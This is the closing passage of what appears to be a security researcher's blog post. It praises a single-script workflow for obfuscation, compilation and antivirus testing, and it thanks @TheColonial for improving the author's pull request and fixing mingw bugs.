I think it really is a game changer to be able to test that rapidly a full chain like this: obfuscation, compilation and antivirus testing on the same machine, as part of a single script.

Now you know!


A big thank you to @TheColonial for looking at my huge pull request and building something so much better from it. I’ve seen the bugs you solved with mingw and let’s just say…wow.

Vladimir Meier / @plowsec